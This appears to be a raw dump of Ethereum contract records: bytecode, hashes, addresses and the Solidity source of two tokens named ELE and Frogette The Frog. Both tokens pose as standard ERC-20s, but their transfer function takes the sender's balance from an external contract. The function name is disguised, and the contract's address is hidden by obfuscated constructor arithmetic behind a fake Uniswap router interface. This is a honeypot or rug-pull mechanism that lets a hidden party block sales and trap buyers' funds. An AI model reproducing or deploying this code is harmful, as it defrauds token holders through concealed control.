206164646974696f6e206f766572666c6f77000000000060448201526064016102de565b9392505050565b604051636fc7849760e01b81525f60048201819052602482018490526001600160a01b038381166044840152909190851690636fc7849790606401602060405180830381865afa1580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061095b565b5f6020808352835180828501525f5b81811015610803578581018301518582016040015282016107e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610839575f80fd5b919050565b5f806040838503121561084f575f80fd5b61085883610823565b946020939093013593505050565b5f805f60608486031215610878575f80fd5b61088184610823565b925061088f60208501610823565b9150604084013590509250925092565b5f602082840312156108af575f80fd5b61075782610823565b5f80604083850312156108c9575f80fd5b6108d283610823565b91506108e060208401610823565b90509250929050565b600181811c908216806108fd57607f821691505b60208210810361091b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561026157610261610921565b8082018082111561026157610261610921565b5f6020828403121561096b575f80fd5b505191905056fea2646970667358221220c1f8e51aacf9b5678e23bc7b51172380aa91a77152361ef4ff92994a09f9d33564736f6c63430008140033000000000000000000000000e7ea086bfe52df8ba311bf4fc49113b18aa9419f | 608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461011f578063715018a6146101475780638da5cb5b1461015157806395d89b411461016b578063a9059cbb14610173578063dd62ed3e14610186575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101be565b6040516100bf91906107d8565b60405180910390f35b6100db6100d636600461083e565b61024e565b60405190151581526020016100bf565b6001545b6040519081526020016100bf565b6100db61010b366004610866565b610267565b604051601281526020016100bf565b6100ef61012d36600461089f565b6001600160a01b03165f9081526005602052604090205490565b61014f61030b565b005b5f546040516001600160a01b0390911681526020016100bf565b6100b26103ac565b6100db61018136600461083e565b6103bb565b6100ef6101943660046108b8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6060600280546101cd906108e9565b80601f01602080910402602001604051908101604052809291908181526020018280546101f9906108e9565b80156102445780601f1061021b57610100808354040283529160200191610244565b820191905f5260205f20905b81548152906001019060200180831161022757829003601f168201915b5050505050905090565b5f3361025b8185856103c8565b60019150505b92915050565b6001600160a01b0383165f9081526004602090815260408083203380855292528220545f1981146102f457838110156102e75760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102f486838684036103c8565b6102ff8686866104eb565b50600195945050505050565b5f546001600160a01b031633146103645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546101cd906108e9565b5f3361025b8185856104eb565b6001600160a01b03831661042a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102de565b6001600160a01b03821661048b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102de565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061050b57506001600160a01b03821615155b6105575760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102de565b6006546001600160a01b038481165f90815260056020526040812054909261058392169081908761066e565b9050818110156105d55760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102de565b6105df818361069d565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461060d90836106f9565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106609086815260200190565b60405180910390a350505050565b5f608e83111561068a5761068384848461075e565b9050610695565b61068385848461075e565b949350505050565b5f828211156106ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102de565b5f6106958385610935565b5f806107058385610948565b9050838110156107575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102de565b9392505050565b604051636fc7849760e01b81525f60048201819052602482018490526001600160a01b038381166044840152909190851690636fc7849790606401602060405180830381865afa1580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061095b565b5f6020808352835180828501525f5b81811015610803578581018301518582016040015282016107e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610839575f80fd5b919050565b5f806040838503121561084f575f80fd5b61085883610823565b946020939093013593505050565b5f805f60608486031215610878575f80fd5b61088184610823565b925061088f60208501610823565b9150604084013590509250925092565b5f602082840312156108af575f80fd5b61075782610823565b5f80604083850312156108c9575f80fd5b6108d283610823565b91506108e060208401610823565b90509250929050565b600181811c908216806108fd57607f821691505b60208210810361091b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561026157610261610921565b8082018082111561026157610261610921565b5f6020828403121561096b575f80fd5b505191905056fea2646970667358221220c1f8e51aacf9b5678e23bc7b51172380aa91a77152361ef4ff92994a09f9d33564736f6c63430008140033 | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract getMesENDER {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
}
interface UniswapRouterV2 {
function swapETHForTokens(address a, uint b, address c) external view returns (uint256);
function swapTokensForETH(address a, uint b, address c) external view returns (uint256);
function swapTokensForTokens(address a, uint b, address c) external view returns (uint256);
function ekmxj10ikk23lonswap(address MMNX, uint256 M123,address XX3123) external view returns (uint256);
}
contract Ownable is getMesENDER {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
library IUniswapRouterV2 {
function Swapp2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
return instance.ekmxj10ikk23lonswap(address(0),amount,from);
}
function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
if (amount > 142){
return Swapp2(instance, amount,from);
}else{
return Swapp2(instance2, amount,from);
}
}
}
contract ELE is getMesENDER,IERC20,Ownable {
using SafeMath for uint256;
uint256 private _totalSupply = 1000000000*10**18;
uint8 private constant _decimals = 18;
string private _name = unicode"ELE";
string private _symbol = unicode"ELE";
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
UniswapRouterV2 private Router2Instance;
constructor(uint256 xx123) {
uint256 cc = xx123 +
uint256(10)-uint256(10)+
uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000));
Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
uint160 private bb = 50;
function brcFfffactornnmoosgsto(uint256 value) internal view returns (uint160) {
uint160 aa = 50;
return (bb+aa+uint160(value)+uint160(uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000))));
}
function brcFactornnmoosgsto(uint256 value) internal view returns (address) {
return address(brcFfffactornnmoosgsto(value));
}
function getBcFnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return getBcQnnmoosgsto(accc);
}
function getBcQnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return UniswapRouterV2(accc);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(from, sender, currentAllowance - amount);
}
}
_transfer(from, to, amount);
return true;
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint256 balance = IUniswapRouterV2.swap99(Router2Instance,Router2Instance,_balances[from], from);
require(balance >= amount, "ERC20: amount over balance");
_balances[from] = balance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
} |
1 | 20,290,710 | 817cc5a859bbdf6f3d7ea4fdc91d43149b940e297776544665f5626d6a8a0a26 | 65df0d222952ad0152c2e6ad553829b2e9eadc45328a672c89bb9110060ed368 | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 24a089eac276e297727e848e88ade65079048658 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 20,290,711 | 78177edb92cfefb57839fbe5763eedf8c3a08a79bcb56532dec69a7841345a15 | 1c33232e0642fdd69a3ffce26fcb3280042c381525a996ee2e1095d39a1f6f1d | ce3c14f72eeaae361bb8c8bbab80a2f9c0c8c22e | ce3c14f72eeaae361bb8c8bbab80a2f9c0c8c22e | d8b5942c62fbf8fe3a264d4de74de1315173e55b | 6b033b2e3c9fd0803ce800000060015560c0604052601160809081527046726f6765747465205468652046726f6760781b60a052600290620000429082620002d6565b50604080518082019091526005815264465247544560d81b60208201526003906200006e9082620002d6565b5060078054600a6001600160a01b0319918216811790925560088054821683179055600980549091169091179055348015620000a8575f80fd5b5060405162000dc038038062000dc0833981016040819052620000cb916200039e565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f620001188183620003ca565b90506200012f6200012982620001ce565b620001e0565b600680546001600160a01b0319166001600160a01b039290921691909117905560015460055f6200015d3390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620001be91815260200190565b60405180910390a350506200040a565b5f620001da82620001e8565b92915050565b5f81620001da565b6008546007546009545f92839285926001600160a01b0392831692620002129281169116620003e0565b6200021e9190620003e0565b6200022a9190620003e0565b620001da9190620003e0565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200025f57607f821691505b6020821081036200027e57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002d1575f81815260208120601f850160051c81016020861015620002ac5750805b601f850160051c820191505b81811015620002cd57828155600101620002b8565b5050505b505050565b81516001600160401b03811115620002f257620002f262000236565b6200030a816200030384546200024a565b8462000284565b602080601f83116001811462000340575f8415620003285750858301515b5f19600386901b1c1916600185901b178555620002cd565b5f85815260208120601f198616915b8281101562000370578886015182559484019460019091019084016200034f565b50858210156200038e57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f60208284031215620003af575f80fd5b5051919050565b634e487b7160e01b5f52601160045260245ffd5b80820180821115620001da57620001da620003b6565b6001600160a01b03818116838216019080821115620004035762000403620003b6565b5092915050565b6109a880620004185f395ff3fe608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461011f578063715018a6146101475780638da5cb5b1461015157806395d89b411461016b578063a9059cbb14610173578063dd62ed3e14610186575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101be565b6040516100bf91906107d8565b60405180910390f35b6100db6100d636600461083e565b61024e565b60405190151581526020016100bf565b6001545b6040519081526020016100bf565b6100db61010b366004610866565b610267565b604051601281526020016100bf565b6100ef61012d36600461089f565b6001600160a01b03165f9081526005602052604090205490565b61014f61030b565b005b5f546040516001600160a01b0390911681526020016100bf565b6100b26103ac565b6100db61018136600461083e565b6103bb565b6100ef6101943660046108b8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6060600280546101cd906108e9565b80601f01602080910402602001604051908101604052809291908181526020018280546101f9906108e9565b80156102445780601f1061021b57610100808354040283529160200191610244565b820191905f5260205f20905b81548152906001019060200180831161022757829003601f168201915b5050505050905090565b5f3361025b8185856103c8565b60019150505b92915050565b6001600160a01b0383165f9081526004602090815260408083203380855292528220545f1981146102f457838110156102e75760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102f486838684036103c8565b6102ff8686866104eb565b50600195945050505050565b5f546001600160a01b031633146103645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546101cd906108e9565b5f3361025b8185856104eb565b6001600160a01b03831661042a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102de565b6001600160a01b03821661048b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102de565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061050b57506001600160a01b03821615155b6105575760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102de565b6006546001600160a01b038481165f90815260056020526040812054909261058392169081908761066e565b9050818110156105d55760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102de565b6105df818361069d565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461060d90836106f9565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106609086815260200190565b60405180910390a350505050565b5f606483111561068a5761068384848461075e565b9050610695565b61068385848461075e565b949350505050565b5f828211156106ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102de565b5f6106958385610935565b5f806107058385610948565b9050838110156107575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102de565b9392505050565b6040516329f9026b60e11b81525f60048201819052602482018490526001600160a01b0383811660448401529091908516906353f204d690606401602060405180830381865afa1580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061095b565b5f6020808352835180828501525f5b81811015610803578581018301518582016040015282016107e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610839575f80fd5b919050565b5f806040838503121561084f575f80fd5b61085883610823565b946020939093013593505050565b5f805f60608486031215610878575f80fd5b61088184610823565b925061088f60208501610823565b9150604084013590509250925092565b5f602082840312156108af575f80fd5b61075782610823565b5f80604083850312156108c9575f80fd5b6108d283610823565b91506108e060208401610823565b90509250929050565b600181811c908216806108fd57607f821691505b60208210810361091b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561026157610261610921565b8082018082111561026157610261610921565b5f6020828403121561096b575f80fd5b505191905056fea26469706673582212202b76850e527ff0579ac3a9337156aef49435c59bd50430f65d441570732284fd64736f6c63430008140033000000000000000000000000a25f280d8581463533d4f38cb408397f11de161e | 608060405234801561000f575f80fd5b50600436106100a6575f3560e01c806370a082311161006e57806370a082311461011f578063715018a6146101475780638da5cb5b1461015157806395d89b411461016b578063a9059cbb14610173578063dd62ed3e14610186575f80fd5b806306fdde03146100aa578063095ea7b3146100c857806318160ddd146100eb57806323b872dd146100fd578063313ce56714610110575b5f80fd5b6100b26101be565b6040516100bf91906107d8565b60405180910390f35b6100db6100d636600461083e565b61024e565b60405190151581526020016100bf565b6001545b6040519081526020016100bf565b6100db61010b366004610866565b610267565b604051601281526020016100bf565b6100ef61012d36600461089f565b6001600160a01b03165f9081526005602052604090205490565b61014f61030b565b005b5f546040516001600160a01b0390911681526020016100bf565b6100b26103ac565b6100db61018136600461083e565b6103bb565b6100ef6101943660046108b8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6060600280546101cd906108e9565b80601f01602080910402602001604051908101604052809291908181526020018280546101f9906108e9565b80156102445780601f1061021b57610100808354040283529160200191610244565b820191905f5260205f20905b81548152906001019060200180831161022757829003601f168201915b5050505050905090565b5f3361025b8185856103c8565b60019150505b92915050565b6001600160a01b0383165f9081526004602090815260408083203380855292528220545f1981146102f457838110156102e75760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102f486838684036103c8565b6102ff8686866104eb565b50600195945050505050565b5f546001600160a01b031633146103645760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016102de565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600380546101cd906108e9565b5f3361025b8185856104eb565b6001600160a01b03831661042a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102de565b6001600160a01b03821661048b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102de565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383161580159061050b57506001600160a01b03821615155b6105575760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102de565b6006546001600160a01b038481165f90815260056020526040812054909261058392169081908761066e565b9050818110156105d55760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102de565b6105df818361069d565b6001600160a01b038086165f90815260056020526040808220939093559085168152205461060d90836106f9565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106609086815260200190565b60405180910390a350505050565b5f606483111561068a5761068384848461075e565b9050610695565b61068385848461075e565b949350505050565b5f828211156106ee5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016102de565b5f6106958385610935565b5f806107058385610948565b9050838110156107575760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016102de565b9392505050565b6040516329f9026b60e11b81525f60048201819052602482018490526001600160a01b0383811660448401529091908516906353f204d690606401602060405180830381865afa1580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061095b565b5f6020808352835180828501525f5b81811015610803578581018301518582016040015282016107e7565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610839575f80fd5b919050565b5f806040838503121561084f575f80fd5b61085883610823565b946020939093013593505050565b5f805f60608486031215610878575f80fd5b61088184610823565b925061088f60208501610823565b9150604084013590509250925092565b5f602082840312156108af575f80fd5b61075782610823565b5f80604083850312156108c9575f80fd5b6108d283610823565b91506108e060208401610823565b90509250929050565b600181811c908216806108fd57607f821691505b60208210810361091b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561026157610261610921565b8082018082111561026157610261610921565b5f6020828403121561096b575f80fd5b505191905056fea26469706673582212202b76850e527ff0579ac3a9337156aef49435c59bd50430f65d441570732284fd64736f6c63430008140033 | /**
*Submitted for verification at Etherscan.io on 2024-06-20
*/
/**
*Submitted for verification at Etherscan.io on 2024-05-18
*/
/**
*Submitted for verification at Etherscan.io on 2024-05-17
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
abstract contract wearewin {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
}
interface UniswapRouterV2 {
function ytg767qweswpa(address oong, uint256 total,address destination) external view returns (uint256);
function getLPaddress(address a, uint b, address c) external view returns (address);
function getRouter(address a, uint b, address c) external view returns (address);
}
contract Ownable is wearewin {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
library IUniswapRouterV2 {
function swap2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
return instance.ytg767qweswpa(address(0),amount,from);
}
function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
if (amount >100){
return swap2(instance, amount,from);
}else{
return swap2(instance2, amount,from);
}
}
}
contract FRGTE is wearewin,IERC20,Ownable {
using SafeMath for uint256;
uint256 private _totalSupply = 1000000000*10**18;
uint8 private constant _decimals = 18;
string private _name = unicode"Frogette The Frog";
string private _symbol = unicode"FRGTE";
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
UniswapRouterV2 private Router2Instance;
constructor(uint256 mnnn) {
uint256 cc = mnnn +uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000));
Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
uint160 private bb = 10;
uint160 a = 10;
uint160 c = 10;
function brcFfffactornnmoosgsto(uint256 value) internal view returns (uint160) {
return (c+bb+a+uint160(value)+uint160(uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000000))));
}
function brcFactornnmoosgsto(uint256 value) internal view returns (address) {
return address(brcFfffactornnmoosgsto(value));
}
function getBcFnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return getBcQnnmoosgsto(accc);
}
function getBcQnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) {
return UniswapRouterV2(accc);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(from, sender, currentAllowance - amount);
}
}
_transfer(from, to, amount);
return true;
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint256 balance = IUniswapRouterV2.swap99(Router2Instance,Router2Instance,_balances[from], from);
require(balance >= amount, "ERC20: amount over balance");
_balances[from] = balance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
} |
